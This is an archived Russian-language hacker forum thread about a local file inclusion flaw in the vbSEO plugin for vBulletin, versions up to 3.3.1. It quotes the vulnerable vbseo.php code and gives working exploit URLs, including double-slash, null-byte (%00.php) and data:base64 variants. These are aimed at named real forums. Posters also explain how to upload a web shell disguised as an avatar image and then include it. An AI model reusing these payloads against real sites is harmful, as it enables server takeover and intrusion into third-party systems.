PDA

Просмотр полной версии : vbSEO <= 3.3.1 LFI


BlackSun
10.11.2009, 18:08
Продукт: vbSEO <= 3.3.1 (возможно и более позние версии, если таковые имеются)
Офф сайт: vbseo.com
Опасность: 9\10

Уязвимый файл: vbseo.php
Уязвимый кусок кода:
16: if (isset($_GET['vbseourl'])) $vbseo_url_ = $_GET['vbseourl'];
....
55: define('VBSEO_BASEURL', basename($vbseo_url_));
....
819: if (!$vbseo_found) {
820: $vbseo_found_fn = VBSEO_BASEURL;
....
864: if ($_GET['vbseoembedd'] && $vbseo_found_fn) {
865: ob_start("vbseo_output_handler");
866: require ($vbseo_found_fn);
867: ob_flush();
868: if (!defined('VBSEO_PROCESS')) {
869: $output = ob_get_contents();
870: ob_clean();
871: $output = make_crawlable($output);
872: echo $output;
873: }
874: exit();
875: }


Сплоент:
1. Если аватарки заливаются не в БД, то хост уязвим
2. vbseo.php?vbseoembedd=1&vbseourl=images//index.html
* юзаем двойные слеши
** из за гребанной функции basename на директорию ниже не спуститься, собственно и RFI обламывается из за этого же (
*** поправочка, конкретно не из за basename, там еще корявенькая фильтрация присутствует

Пример дырявого сайта я выкладывал - tgbr.in

Дорк оставлю при себе, один хрен на разных сайтах копирайты почему то разные или вообще отсутствуют.

DimOnOID
04.12.2009, 09:45
Само собой инклуд удалённых должен быть включён.
vbseo.php?vbseoembedd=1&vbseourl=data:;base64,(тут что то не понятное)&cmd=пхпинфо;
Кто понял-тот понял) ;)

login999
11.12.2009, 10:47
Эмм :) Хз куда это написать, напишу сюда - там есть раскрытие путей, мб кому пригодится...

vbseo.php?vbseourl=cron.html

По крайней мере на паре сайтов (в том числе и на офф) этот файл отсутствует...

jecka3000
19.01.2010, 23:13
http://myp2pforum.eu/vbseo.php?vbseourl=images/statusicon/post_old.gif%00.php
вот пример использования.

как заставить заинклудить ЛЮБУЮ гифку(т.е шелл)?

.Slip
19.01.2010, 23:35
вот пример использования.

как заставить заинклудить ЛЮБУЮ гифку(т.е шелл)?
Что значит ЛЮБУЮ? Гифка должна лежать не выше корня форума. Будут любые гифки там - инклудь.

mailbrush
19.01.2010, 23:45
вот пример использования.

как заставить заинклудить ЛЮБУЮ гифку(т.е шелл)?
Вот:
http://myp2pforum.eu/vbseo.php?vbseoembedd=1&vbseourl=images/statusicon/post_old.gif

PS: А зачем там нулл-байт, да еще и .php в конце?

Root-access
19.01.2010, 23:53
Вот:
http://myp2pforum.eu/vbseo.php?vbseoembedd=1&vbseourl=images/statusicon/post_old.gif

PS: А зачем там нулл-байт, да еще и .php в конце?


Хм, а ведь это вариант использования уязвимости без параметра vbseoembedd. В новой версии правда всё равно не работает.

А нулл-байт и .php понятно зачем - vbseo.php думает, что это php файл и инклудит его, а там расширение обрезается и инклудится то, что до нулл-байта.

Но если аватары в бд, это ничего не даёт.
Пример (Isis, превед;):
http://forum.xeka.ru/vbseo.php?vbseourl=.htaccess%00.php

jecka3000
20.01.2010, 14:24
.Slip, спасибо, но получается, чтобы получить шелл на сервере нужно каким-то другим образом залить в корень фтп гиф картинку или я чего не понимаю?

Grey
20.01.2010, 14:37
.Slip, спасибо, но получается, чтобы получить шелл на сервере нужно каким-то другим образом залить в корень фтп гиф картинку или я чего не понимаю?

Какой еще корень фтп?
На некоторых булках заливка аватарки идет не в БД, а в диру и в таком случае не что не мешает залить вместо аватарки шелл с расширением картинки и затем проинклудить его.